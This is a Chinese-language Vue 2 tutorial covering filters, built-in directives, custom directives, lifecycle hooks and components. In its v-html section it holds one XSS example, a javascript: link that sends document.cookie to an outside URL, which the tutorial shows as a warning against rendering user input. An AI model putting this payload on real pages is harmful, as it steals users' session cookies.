<body> <div id="root"> <!-- 过滤器: 定义:对要显示的数据进行特定格式化后再显示(适用于一些简单逻辑的处理)。 语法: 1.注册过滤器:Vue.filter(name,callback) 或 new Vue{filters:{}} 2.使用过滤器:{{ xxx | 过滤器名}} 或 v-bind:属性 = "xxx | 过滤器名" 备注: 1.过滤器也可以接收额外参数、多个过滤器也可以串联 2.并没有改变原本的数据, 是产生新的对应的数据 --> <h1>显示格式化后的时间</h1> <!--计算属性实现--> <h2>现在是:{{ fmtTime }}</h2> <!--methods实现--> <h2>现在是{{ getFmtTime() }}</h2> <!--过滤器实现--> <h2>现在是:{{ time | timeFormater }}</h2> <!--过滤器也可以传递参数--> <h2>现在是:{{ time | timeFormater('YYYY-MM-DD') | mySlice }}</h2> <h3 :x="msg | mySlice">你好,世界</h3> </div> <div id="root2"> <h2>{{ msg | mySlice }}</h2> </div> <script type="text/javascript"> Vue.config.productionTip = false; //全局过滤器的配置 //注意配置一定要new vue实例之前确定 Vue.filter('mySlice', function (val) { return val.slice(0, 4); }); new Vue({ el: "#root", data: { time: 1631808423062, msg: "你好,世界" }, computed: { fmtTime() { return dayjs(this.time).format('YYYY-MM-DD HH:mm:ss') } }, methods: { getFmtTime() { return dayjs(this.time).format('YYYY-MM-DD HH:mm:ss') } }, //局部过滤器 filters: { //过滤器本质上也是一个函数 timeFormater(val, formate = 'YYYY-MM-DD HH:mm:ss') { return dayjs(val).format(formate) }, } }); const vm2 = new Vue({ el: "#root2", data: { msg: 'welcome' } }) </script> </body>
备注:
1.过滤器也可以接收额外参数、多个过滤器也可以串联
2.并没有改变原本的数据, 是产生新的对应的数据
1.17 内置指令
v-text指令:(使用的比较少)
1.作用:向其所在的节点中渲染文本内容。
2.与插值语法的区别:v-text会替换掉节点中的内容,{{xx}}则不会。
<body> <!-- 我们学过的指令: v-bind : 单向绑定解析表达式, 可简写为 :xxx v-model : 双向数据绑定 v-for : 遍历数组/对象/字符串 v-on : 绑定事件监听, 可简写为@ v-if : 条件渲染(动态控制节点是否存存在) v-else : 条件渲染(动态控制节点是否存存在) v-show : 条件渲染 (动态控制节点是否展示) v-text指令: 1.作用:向其所在的节点中渲染文本内容。 (纯文本渲染) 2.与插值语法的区别:v-text会替换掉节点中的内容,{{xx}}则不会。这里有点不太灵活 --> <div id="root"> {{ name }} <div v-text="name"></div> <div v-text="str"></div> </div> <script type="text/javascript"> Vue.config.productionTip = false; // 阻止vue在启动时生成生产提示 new Vue({ el: '#root', data: { name: '上海', //注意v-text不会解析标签,而是直接将标签当纯文本解析 str: '<h1>hello, shanghai</h1>' } }) </script> </body>
v-html指令:(使用的很少)
1.作用:向指定节点中渲染包含html结构的内容。
2.与插值语法的区别:
-
v-html会替换掉节点中所有的内容,{{xx}}则不会。
-
v-html可以识别html结构。
3.严重注意:v-html有安全性问题!!!!
-
在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击。
-
一定要在可信的内容上使用v-html,永不要用在用户提交的内容上!
<body>
<div id="root">
<!--
v-html指令:
1.作用:向指定节点中渲染包含html结构的内容。
2.与插值语法的区别:
(1).v-html会替换掉节点中所有的内容,{{xx}}则不会。
(2).v-html可以识别html结构。
3.严重注意:v-html有安全性问题!!!!
(1).在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击。
(2).一定要在可信的内容上使用v-html,永不要用在用户提交的内容上!
-->
<div v-text="name"></div>
<div v-html="str"></div>
<div v-html="str2"></div>
</div>
<script type="text/javascript">
Vue.config.productionTip = false;
new Vue({
el: "#root",
data: {
name: '上海',
//注意v-html会解析标签,这点与v-text不一样
str: '<h1>hello, shanghai</h1>',
//危险行为 永远不要相信用户的输入,document.cookie获取该网站的cookie键值对
str2: '<a href=javascript:location.href="https://www.baidu.com?"+document.cookie>找到资源了兄弟</a>'
}
})
</script>
</body>
v-cloak指令(没有值):
-
本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性。
-
使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题。
<body>
<!--
v-cloak指令(没有值):
1.本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性。
2.使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题。
-->
<!-- 准备好一个容器-->
<div id="root">
<h2 v-cloak>{{name}}</h2>
</div>
<script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script>
</body>
<script type="text/javascript">
console.log(1)
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
new Vue({
el: '#root',
data: {
name: '尚硅谷'
}
})
</script>
v-once指令:(用的少)
-
v-once所在节点在初次动态渲染后,就视为静态内容了。
-
以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能。
<div id="root">
<!--v-once-->
<!--
v-once指令:
1.v-once所在节点在初次动态渲染后,就视为静态内容了。
2.以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能。
-->
<h2 v-once>初始化n的值为:{{ n }}</h2>
<h2>当前的n值为:{{ n }}</h2>
<button @click="n++">带我n+1</button>
</div>
<script type="text/javascript">
Vue.config.productionTip = false;
new Vue({
el:"#root",
data:{
n:1
}
})
</script>
v-pre指令:(比较没用)
-
跳过其所在节点的编译过程
-
可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译
<div id="root">
<!--
v-pre指令:
1.跳过其所在节点的编译过程。
2.可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译。
-->
<h2 v-pre>Vue其实很简单</h2>
<h2>当前的n值为:{{ n }}</h2>
<button @click="n++">带我n+1</button>
</div>
<script type="text/javascript">
Vue.config.productionTip = false;
new Vue({
el:"#root",
data:{
n:1
}
})
</script>
1.18 自定义指令
需求1:定义一个v-big指令,和v-text功能类似,但会把绑定的数值放大10倍。
需求2:定义一个v-fbind指令,和v-bind功能类似,但可以让其所绑定的input元素默认获取焦点。
语法:
局部指令:
directives: { focus: { // 指令的定义 inserted: function (el) { el.focus() } } }
全局指令:
<script>
// 注册一个全局自定义指令 `v-focus`
Vue.directive('focus', {
// 当被绑定的元素插入到 DOM 中时……
inserted: function (el) {
// 聚焦元素
el.focus()
}
})
</script>
配置对象中常用的3个回调:
-
bind:指令与元素成功绑定时调用。
-
inserted:指令所在元素被插入页面时调用。
-
update:指令所在模板结构被重新解析时调用。
理解这三个的调用时机,需要进一步了解 vue 的生命周期,下面会介绍。
定义全局指令
<!-- 准备好一个容器-->
<div id="root">
<input type="text" v-fbind:value="n">
</div>
<script type="text/javascript">
Vue.config.productionTip = false
//定义全局指令
Vue.directive('fbind', {
// 指令与元素成功绑定时(一上来)
bind(element, binding){
element.value = binding.value
},
// 指令所在元素被插入页面时
inserted(element, binding){
element.focus()
},
// 指令所在的模板被重新解析时
update(element, binding){
element.value = binding.value
}
})
new Vue({
el:'#root',
data:{
name: '尚硅谷',
n: 1
}
})
</script>
局部指令:
new Vue({ el: '#root', data: { name:'尚硅谷', n:1 }, directives: { // big函数何时会被调用?1.指令与元素成功绑定时(一上来)。2.指令所在的模板被重新解析时。 /* 'big-number'(element,binding){ // console.log('big') element.innerText = binding.value * 10 }, */ big (element,binding){ console.log('big',this) //注意此处的this是window // console.log('big') element.innerText = binding.value * 10 }, fbind: { //指令与元素成功绑定时(一上来) bind (element,binding){ element.value = binding.value }, //指令所在元素被插入页面时 inserted (element,binding){ element.focus() }, //指令所在的模板被重新解析时 update (element,binding){ element.value = binding.value } } } })
<body>
<!--
需求1:定义一个v-big指令,和v-text功能类似,但会把绑定的数值放大10倍。
需求2:定义一个v-fbind指令,和v-bind功能类似,但可以让其所绑定的input元素默认获取焦点。
自定义指令总结:
一、定义语法:
(1).局部指令:
new Vue({directives:{指令名:配置对象} }) 或 new Vue({directives: {指令名:回调函数}})
(2).全局指令:
Vue.directive(指令名,配置对象) 或 Vue.directive(指令名,回调函数)
二、配置对象中常用的3个回调:
(1).bind:指令与元素成功绑定时调用。
(2).inserted:指令所在元素被插入页面时调用。
(3).update:指令所在模板结构被重新解析时调用。
三、备注:
1.指令定义时不加v-,但使用时要加v-;
2.指令名如果是多个单词,要使用kebab-case命名方式,不要用camelCase(驼峰)命名。
-->
<!--
下面的这是模版,要经过vue的解析才能放到页面中,dom树里
-->
<div id="root">
<h2>当前的n值是:<span v-text="n"></span></h2>
<!-- <h2>放大10倍后的n值是: <span v-big-number="n"></span></h2>-->
<h2>放大10倍后的n值是: <span v-big="n"></span></h2>
<button @click="n++">点我n+1</button>
<p>测试指令函数所调用的时机: {{ name }} </p>
<hr />
<input type="text" v-fbind:value="n" />
</div>
<div id="root2">
<input type="text" v-fbind:value="x" />
</div>
<script type="text/javascript">
Vue.config.productionTip = false;
//此时自定义fbind指令使全局指令了,其他vue实例所管理的容器也可以使用
//全局指令
Vue.directive('fbind', {
// 指令与元素成功绑定时(一上来)
bind(el, binding) {
// console.log('bind')
el.value = binding.value;
},
//指令被插入页面时
inserted(el, binding) {
// console.log('inserted')
el.focus();
},
//指令所在模版被重新解析时
update(el, binding) {
// console.log('update');
el.value = binding.value;
}
})
const vm = new Vue({
el: "#root",
data: {
name: '上海',
n: 1
},
//定义指令的配置项: directives
directives: {
/**
big函数的调用时机:
1.指令与元素成功绑定(但注意此时dom元素还没有成功的被弄到页面上去)时会被调用 (首次,类似于dom元素一加载)
2.指令所在的模版被重新解析时会被再次调用
**/
//两种写法:1.对象(key-value) ,有-的情况,需要引号2.函数
// 'big-number'(el,binding){
// console.log('big被调用啦!')
// //收到两个参数,第一个参数代表真实dom元素,第二个参数是绑定对象,关注该绑定对象中的value属性
// // console.log(el,binding);
// //原生dom的操作
// el.innerText = binding.value * 10;
// },
big(el, binding) {
console.log(this); //注意此处this===window vue实例对象此时'不管'你写在指令里面的函数了
console.log('big被调用啦!')
//收到两个参数,第一个参数代表真实dom元素,第二个参数是绑定对象,关注该绑定对象中的value属性
// console.log(el,binding);
//原生dom的操作
el.innerText = binding.value * 10;
},
//自定义fbind绑定
//换成对象写法 对比函数简写方式其实只是多了 inserted钩子
// fbind:{
// //指令与元素成功绑定
// // bind(el, binding){
// // // console.log('bind')
// // el.value = binding.value;
// // },
// // //指令被插入页面时
// // inserted(el, binding){
// // // console.log('inserted')
// // el.focus();
// // },
// // //指令所在模版被重新解析时
// // update(el, binding){
// // // console.log('update');
// // el.value = binding.value;
// // }
// }
}
});
const vm2 = new Vue({
el: '#root2',
data: {
x: 1,
}
})
</script>
</body>
1.19 生命周期
简介生命周期
Vue 实例有⼀个完整的⽣命周期,也就是从new Vue()、初始化事件(.once事件)和生命周期、编译模版、挂载Dom -> 渲染、更新 -> 渲染、卸载 等⼀系列过程,称这是Vue的⽣命周期。
先来一张尚硅谷的图:

-
beforeCreate(创建前):数据监测(getter和setter)和初始化事件还未开始,此时 data 的响应式追踪、event/watcher 都还没有被设置,也就是说不能访问到data、computed、watch、methods上的方法和数据。
-
created(创建后):实例创建完成,实例上配置的 options 包括 data、computed、watch、methods 等都配置完成,但是此时渲染得节点还未挂载到 DOM,所以不能访问到
$el属性。 -
beforeMount(挂载前):在挂载开始之前被调用,相关的render函数首次被调用。此阶段Vue开始解析模板,生成虚拟DOM存在内存中,还没有把虚拟DOM转换成真实DOM,插入页面中。所以网页不能显示解析好的内容。
-
mounted(挂载后):在el被新创建的 vm.$el(就是真实DOM的拷贝)替换,并挂载到实例上去之后调用(将内存中的虚拟DOM转为真实DOM,真实DOM插入页面)。此时页面中呈现的是经过Vue编译的DOM,这时在这个钩子函数中对DOM的操作可以有效,但要尽量避免。一般在这个阶段进行:开启定时器,发送网络请求,订阅消息,绑定自定义事件等等
-
beforeUpdate(更新前):响应式数据更新时调用,此时虽然响应式数据更新了,但是对应的真实 DOM 还没有被渲染(数据是新的,但页面是旧的,页面和数据没保持同步呢)。
-
updated(更新后) :在由于数据更改导致的虚拟DOM重新渲染和打补丁之后调用。此时 DOM 已经根据响应式数据的变化更新了。调用时,组件 DOM已经更新,所以可以执行依赖于DOM的操作。然而在大多数情况下,应该避免在此期间更改状态,因为这可能会导致更新无限循环。该钩子在服务器端渲染期间不被调用。
-
beforeDestroy(销毁前):实例销毁之前调用。这一步,实例仍然完全可用,
this仍能获取到实例。在这个阶段一般进行关闭定时器,取消订阅消息,解绑自定义事件。 -
destroyed(销毁后):实例销毁后调用,调用后,Vue 实例指示的所有东西都会解绑定,所有的事件监听器会被移除,所有的子实例也会被销毁。该钩子在服务端渲染期间不被调用。
来讲一下图中间大框框的内容

先判断有没有 el 这个配置项,没有就调用 vm.$mount(el),如果两个都没有就一直卡着,显示的界面就是最原始的容器的界面。
有 el 这个配置项,就进行判断有没有 template 这个配置项,没有 template 就将 el 绑定的容器编译为 vue 模板,来个对比图。
没编译前的:

编译后:

这个 template 有啥用咧?
第一种情况,有 template:
如果 el 绑定的容器没有任何内容,就一个空壳子,但在 Vue 实例中写了 template,就会编译解析这个 template 里的内容,生成虚拟 DOM,最后将 虚拟 DOM 转为 真实 DOM 插入页面(其实就可以理解为 template 替代了 el 绑定的容器的内容)。


第二种情况,没有 template:
没有 template,就编译解析 el 绑定的容器,生成虚拟 DOM,后面就顺着生命周期执行下去。
总结:
<div id="root">
<!--
常用的生命周期钩子:
1.mounted: 发送ajax请求、启动定时器、绑定自定义事件、订阅消息等【初始化操作】。
2.beforeDestroy: 清除定时器、解绑自定义事件、取消订阅消息等【收尾工作】。
关于销毁Vue实例
1.销毁后借助Vue开发者工具看不到任何信息。
2.销毁后自定义事件会失效,但原生DOM事件依然有效。(click之类的原生事件依然会被调用)
3.一般不会在beforeDestroy操作数据,因为即便操作数据,也不会再触发更新流程了。
-->
<!--v-bind绑定-->
<h1 :style="{opacity}">欢迎学习vue</h1>
<button @click="stop">停止变换</button>
<button @click="opacity = 1">透明度设置为1</button>
</div>
<script type="text/javascript">
Vue.config.productionTip = false;
const vm = new Vue({
el:"#root",
data:{
opacity: 1,
},
methods:{
stop() {
//只是清除了定时器,响应式仍然存在
// clearInterval(this.timer);
//暴力杀
this.$destroy();
}
},
//mounted
//vue完成模版的解析并把初始的真实的dom元素挂载完毕就调用mounted函数
//只调用一次
mounted(){
//关键性时刻调用对应的函数 生命周期
console.log('mounted');
this.timer = setInterval(() => {
console.log('inter')
//剪头函数没有this会从外部作用域寻找 mounted是由vue管理的函数,所以该函数中的this是vm(vue实例对象)
this.opacity -= 0.01;
if(this.opacity <= 0) this.opacity = 1;
},16);
},
beforeDestroy() {
console.log('vm要没了')
clearInterval(this.timer);
}
});
</script>

基本使用
Vue中使用组件的三大步骤:
-
定义组件(创建组件)
-
注册组件
-
使用组件(写组件标签)
定义组件
使用Vue.extend(options)创建,其中options和new Vue(options)时传入的那个options几乎一样,但也有点区别;
区别如下:
-
el不要写,为什么? ——— 最终所有的组件都要经过一个vm的管理,由vm中的el决定服务哪个容器。
-
data必须写成函数,为什么? ———— 避免组件被复用时,数据存在引用关系。
讲解一下面试小问题:data必须写成函数:
这是 js 底层设计的原因:举个例子
对象形式
let data = { a: 99, b: 100 } let x = data; let y = data; // x 和 y 引用的都是同一个对象,修改 x 的值, y 的值也会改变 x.a = 66; console.loh(x); // a:66 b:100 console.log(y); // a:66 b:100
函数形式
function data() { return { a: 99, b: 100 } } let x = data(); let y = data(); console.log(x === y); // false // 我的理解是函数每调用一次就创建一个新的对象返回给他们
备注:使用template可以配置组件结构。
创建一个组件案例:Vue.extend() 创建
<script type="text/javascript"> Vue.config.productionTip = false //第一步:创建school组件 const school = Vue.extend({ template:` <div class="demo"> <h2>学校名称:{{schoolName}}</h2> <h2>学校地址:{{address}}</h2> <button @click="showName">点我提示学校名</button> </div> `, // el:'#root', //组件定义时,一定不要写el配置项,因为最终所有的组件都要被一个vm管理,由vm决定服务于哪个容器。 data(){ return { schoolName:'尚硅谷', address:'北京昌平' } }, methods: { showName(){ alert(this.schoolName) } }, }) //第一步:创建student组件 const student = Vue.extend({ template:` <div> <h2>学生姓名:{{studentName}}</h2> <h2>学生年龄:{{age}}</h2> </div> `, data(){ return { studentName:'张三', age:18 } } }) //第一步:创建hello组件 const hello = Vue.extend({ template:` <div> <h2>你好啊!{{name}}</h2> </div> `, data(){ return { name:'Tom' } } }) </script>
注册组件
-
局部注册:靠new Vue的时候传入components选项
-
全局注册:靠Vue.component('组件名',组件)
局部注册
<script>
//创建vm
new Vue({
el: '#root',
data: {
msg:'你好啊!'
},
//第二步:注册组件(局部注册)
components: {
school: school,
student: student
// ES6简写形式
// school,
// student
}
})
</script>
全局注册
<script>
//第二步:全局注册组件
Vue.component('hello', hello)
</script>
写组件标签
<!-- 准备好一个容器--> <div id="root"> <hello></hello> <hr> <h1>{{msg}}</h1> <hr> <!-- 第三步:编写组件标签 --> <school></school> <hr> <!-- 第三步:编写组件标签 --> <student></student> </div>
总结:
<body> <!-- Vue中使用组件的三大步骤: 一、定义组件(创建组件) 二、注册组件 三、使用组件(写组件标签) 一、如何定义一个组件? 使用Vue.extend(options)创建,其中options和new Vue(options)时传入的那个options几乎一样,但也有点区别; 区别如下: 1.el不要写,为什么? ——— 最终所有的组件都要经过一个vm的管理,由vm中的el决定服务哪个容器。 2.data必须写成函数,为什么? ———— 避免组件被复用时,数据存在引用关系。 备注:使用template可以配置组件结构。 二、如何注册组件? 1.局部注册:靠new Vue的时候传入components选项 2.全局注册:靠Vue.component('组件名',组件) 三、编写组件标签: <school></school> --> <div id="root"> <h1> {{ msg }} </h1> <hello></hello> <!--第三步:使用组件--> <school></school> <hr /> <student></student> <hr /> </div> <div id="root2"> <h2>root2容器</h2> <hello></hello> </div> <script type="text/javascript"> Vue.config.productionTip = false; //全部注册 /** * 想用组件的三个步骤 * 1.创建组件 * 2.注册组件 * 3.使用组件 */ //第一步:创建school组件 const school = Vue.extend({ template: ` <div> <h2>学校名称:{{ schoolName }}</h2> <h2>学校地址:{{ address }}</h2> <button @click="showName">点我提示学校名</button> </div> `, //组件定义不要写el配置项,因为最终所有的组件都要被vm所管理,由vm决定服务于哪个容器 //这里data必须写成函数形式 避免多次使用组件导致共用data对象导致一个问题 data() { //注意这里不要写箭头函数 return { schoolName: '武汉科技大学', address: '武汉', } }, methods: { showName() { alert(this.schoolName) } } }) //创建school组件 const student = Vue.extend({ template: ` <div> <h2>学生名字:{{ studentName }}</h2> <h2>学生年龄:{{ age }}</h2> </div> `, data() { return { studentName: 'Jone', age: 18 } } }); const hello = Vue.extend({ template: ` <div> <h2>你好世界,{{ name }}</h2> </div> `, data() { return { name: 'panyue' } } }); // 第二步:注册组件(全局注册) Vue.component('hello', hello); //全局注册hello 就代表所有的vm都可以用hello组件了 // 创建vm new Vue({ el: "#root", //配置组件(局部注册) data: { msg: 'hello world' }, // 第二步:注册组件(局部注册) components: { school, student }, }) new Vue({ el: '#root2', }); </script> </body>
几个注意点:
关于组件名:
一个单词组成:
-
第一种写法(首字母小写):school
-
第二种写法(首字母大写):School
多个单词组成:
-
第一种写法(kebab-case命名):my-school
-
第二种写法(CamelCase命名):MySchool (需要Vue脚手架支持)
备注:
(1).组件名尽可能回避HTML中已有的元素名称,例如:h2、H2都不行。
(2).可以使用name配置项指定组件在开发者工具中呈现的名字。
关于组件标签:
第一种写法:<school></school>
第二种写法:<school/>
备注:不用使用脚手架时,<school/>会导致后续组件不能渲染。
一个简写方式:
const school = Vue.extend(options) 可简写为:const school = options
代码演示:
<body> <div id="root"> <!-- 几个注意点: 1.关于组件名: 一个单词组成: 第一种写法(首字母小写):school 第二种写法(首字母大写):School 多个单词组成: 第一种写法(kebab-case命名):my-school 第二种写法(CamelCase命名):MySchool (需要Vue脚手架支持) 备注: (1).组件名尽可能回避HTML中已有的元素名称,例如:h2、H2都不行。 (2).可以使用name配置项指定组件在开发者工具中呈现的名字。 2.关于组件标签: 第一种写法:<school></school> 第二种写法:<school/> 备注:不用使用脚手架时,<school/>会导致后续组件不能渲染。 3.一个简写方式: const school = Vue.extend(options) 可简写为:const school = options --> <h1>{{ msg }}</h1> <hello></hello> <!-- <school/>--> <!-- <school/>--> <!-- <school/>--> <!-- 第三步:编写组件标签 --> <school></school> <school></school> <school></school> </div> <script type="text/javascript"> Vue.config.productionTip = false; // 第一步:创建组件 const s = Vue.extend({ // el:'#root',// 组件定义时,一定不要写el配置,因为最终所有的组件都要被一个vm管理,由vm决定服务谁 template: ` <div> <h2>学校名称:{{ name }}</h2> <h2>学校地址:{{ address }}</h2> </div> `, data() { return { name: '武汉科技大学', address: '武汉' } }, name: 'test' //该配置是指定组件在开发者工具中指定的名称 }); //创建组件的简写 (不需要vue.extend) const hello = { template: ` <div> <h1>{{ msg }}</h1> </div> `, data() { return { msg: "hello" } } } // 第二步:全局注册组件 Vue.component('hello', hello) new Vue({ el: "#root", data: { msg: '欢迎学习vue' }, // 第二步:注册组件(局部注册) components: { school: s, hello } }) </script> </body>
组件的嵌套
比较简单,直接展示代码:
<body> <div id="root" :x="x"> <!--组件的嵌套--> <!-- <school>--> <!-- </school>--> <!-- <hello></hello>--> <!-- <app></app>--> </div> <script type="text/javascript"> Vue.config.productionTip = false; const student = Vue.extend({ template: ` <div> <h2>学生姓名:{{ name }}</h2> <h2>学生年龄:{{ age }}</h2> </div> `, data() { return { name: 'JONE', age: 13 } }, }); // 定义shcool组件 const school = Vue.extend({ template: ` <div> <h1>学校名称:{{ name }}</h1> <h1>学校地址:{{ address }}</h1> <!--子组件注册给哪个父组件,就嵌套在哪个副组件里面---> <student></student> </div> `, data() { return { name: '武汉科技大学', address: '武汉' } }, //组件嵌套 //这里也是局部注册组件 components: { student } }); const hello = Vue.extend({ template: `<h1>{{ msg }}</h1>`, data() { return { msg: 'hello, my vue world', } }, }); const app = Vue.extend({ template: `<div> <school></school> <hello></hello> </div>`, components: { school, hello } }); new Vue({ template: `<app></app>`, el: "#root", //注册组件(局部) components: { // //schoo组件与hello组件平级 // school, // hello app, }, data: { x: 1, } }); </script> </body>
VueComponent
-
school组件本质是一个名为VueComponent的构造函数,且不是程序员定义的,是Vue.extend生成的。
-
我们只需要写<school/>或<school></school>,Vue解析时会帮我们创建school组件的实例对象,即Vue帮我们执行的:new VueComponent(options)。
-
特别注意:每次调用Vue.extend,返回的都是一个全新的VueComponent!!!!(这个VueComponent可不是实例对象)
-
关于this指向:
-
组件配置中:data函数、methods中的函数、watch中的函数、computed中的函数 它们的this均是【VueComponent实例对象】。
-
new Vue(options)配置中:data函数、methods中的函数、watch中的函数、computed中的函数 它们的this均是【Vue实例对象】。
-
-
VueComponent的实例对象,以后简称vc(也可称之为:组件实例对象)。Vue的实例对象,以后简称vm。
Vue 在哪管理 VueComponent

代码演示:
<body> <!-- 关于VueComponent: 1.school组件本质是一个名为VueComponent的构造函数,且不是程序员定义的,是Vue.extend生成的。 2.我们只需要写<school/>或<school></school>,Vue解析时会帮我们创建school组件的实例对象, 即Vue帮我们执行的:new VueComponent(options)。 3.特别注意:每次调用Vue.extend,返回的都是一个全新的VueComponent!!!!注意这一点很重要 4.关于this指向: (1).组件配置中: data函数、methods中的函数、watch中的函数、computed中的函数 它们的this均是【VueComponent实例对象】。 (2).new Vue(options)配置中: data函数、methods中的函数、watch中的函数、computed中的函数 它们的this均是【Vue实例对象】。 5.VueComponent的实例对象,以后简称vc(也可称之为:组件实例对象)。 Vue的实例对象,以后简称vm。 vm管理着一个又一个vc,vc可以再 6.因为组件是可复用的 Vue 实例,所以它们与 new Vue 接收相同的选项,例如 data、computed、watch、methods 以及生命周期钩子等。仅有的例外是像 el 这样根实例特有的选项。 所以vm与vc属性配置并不是一模一样,尽管vc底层复用了很多vm的逻辑 --> <div id="root"> <school></school> <hello> </hello> </div> <script type="text/javascript"> Vue.config.productionTip = false; const school = Vue.extend({ template: ` <div> <h1>学校名称:{{ name }}</h1> <h1>学校地址:{{ address }}</h1> <button @click="showname">点我提示学校名</button> </div> `, data(){ return { name: '武汉科技大学', //vuecomponent的实例对象 address:'武汉' } }, methods:{ showname(){ console.log(this); console.log(this.name); } } }); // console.log(typeof school, school); //所谓的组件就是构造函数(VueComponent); //测试组件 const test = Vue.extend({ template: `<h1>panyue</h1>` }); //hello组件 const hello = Vue.extend({ template:` <div> <h1>{{ msg }}</h1> <test></test> </div>`, data(){ return { msg: '你好' } }, components: { test } }) const vm = new Vue({ el:"#root", components:{ school, hello } }); //验证school与hello并不是同一个VueComponent构造函数 // school.a = 99; // console.log('@', school); // console.log('#', hello); // console.log(school === hello); // console.log(school.a, hello.a); </script> </body>
一个重要的内置关系
-
一个重要的内置关系:VueComponent.prototype.proto === Vue.prototype
-
为什么要有这个关系:让组件实例对象(vc)可以访问到 Vue原型上的属性、方法。

代码演示:
<body> <!-- 1.一个重要的内置关系:VueComponent.prototype.__proto__ === Vue.prototype 2.为什么要有这个关系:让组件实例对象(vc)可以访问到 Vue原型上的属性、方法。 --> <div id="root"> <!--new VueComponent只有在你写了<school/>或者<school></school>才会执行--> <school></school> </div> <script type="text/javascript"> Vue.config.productionTip = false; //一个内置关系 Vue.prototype.x = 99; //注意 VueComponent.prototype.__proto__ === Vue.prototype === vm.__proto__ const school = Vue.extend({ template: ` <div> <h1>学校名称:{{ name }}</h1> <h1>学校地址:{{ address }}</h1> <button @click="showname">点我提示学校名</button> <button @click="cx">点我输出x</button> </div> `, data() { return { name: '武汉科技大学', //vuecomponent的实例对象 address: '武汉' } }, methods: { showname() { console.log(this); console.log(this.name); }, cx() { console.log(this); //this是VueComponent的实例对象 console.log(this.__proto__.__proto__ === Vue.prototype) //true 这里重要的内置关系哦!!! console.log() console.log(this.x); } } }); new Vue({ el: "#root", data: { msg: 'hello' }, components: { school } }); //验证 // 定义一个构造函数 // function Demo(){ // this.a = 1; // this.b = 2; // } // 创建一个Demo的实例对象 // const d = new Demo(); // // console.log(d.x); // console.log(Demo.prototype); //显示原型属性 // console.log(d.__proto__);// 隐士原型属性 原型对象只有一个 // //操作原型对象追加x属性 // Demo.prototype.x = 99; // console.log(d.__proto__ === Demo.prototype) </script> </body>
1.21 单文件组件
来做个单文件组件的案例:
School.vue
<template> <div class="demo"> <h2>学校名称:{{name}}</h2> <h2>学校地址:{{address}}</h2> <button @click="showName">点我提示学校名</button> </div> </template> <script> export default { name:'School', data(){ return { name:'尚硅谷', address:'北京昌平' } }, methods: { showName(){ alert(this.name) } }, } </script> <style> .demo{ background-color: orange; } </style>
Student.vue
<template> <div> <h2>学生姓名:{{name}}</h2> <h2>学生年龄:{{age}}</h2> </div> </template> <script> export default { name:'Student', data(){ return { name:'张三', age:18 } } } </script>
App.vue
用来汇总所有的组件(大总管)
<template> <div> <School></School> <Student></Student> </div> </template> <script> //引入组件 import School from './School.vue' import Student from './Student.vue' export default { name:'App', components:{ School, Student } } </script>
main.js
在这个文件里面创建 vue 实例
import App from './App.vue' new Vue({ el:'#root', template:`<App></App>`, components:{App}, })
index.html
在这写 vue 要绑定的容器
<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>练习一下单文件组件的语法</title> </head> <body> <!-- 准备一个容器 --> <div id="root"></div> <script type="text/javascript" src="../js/vue.js"></script> <script type="text/javascript" src="./main.js"></script> </body> </html>

浙公网安备 33010602011771号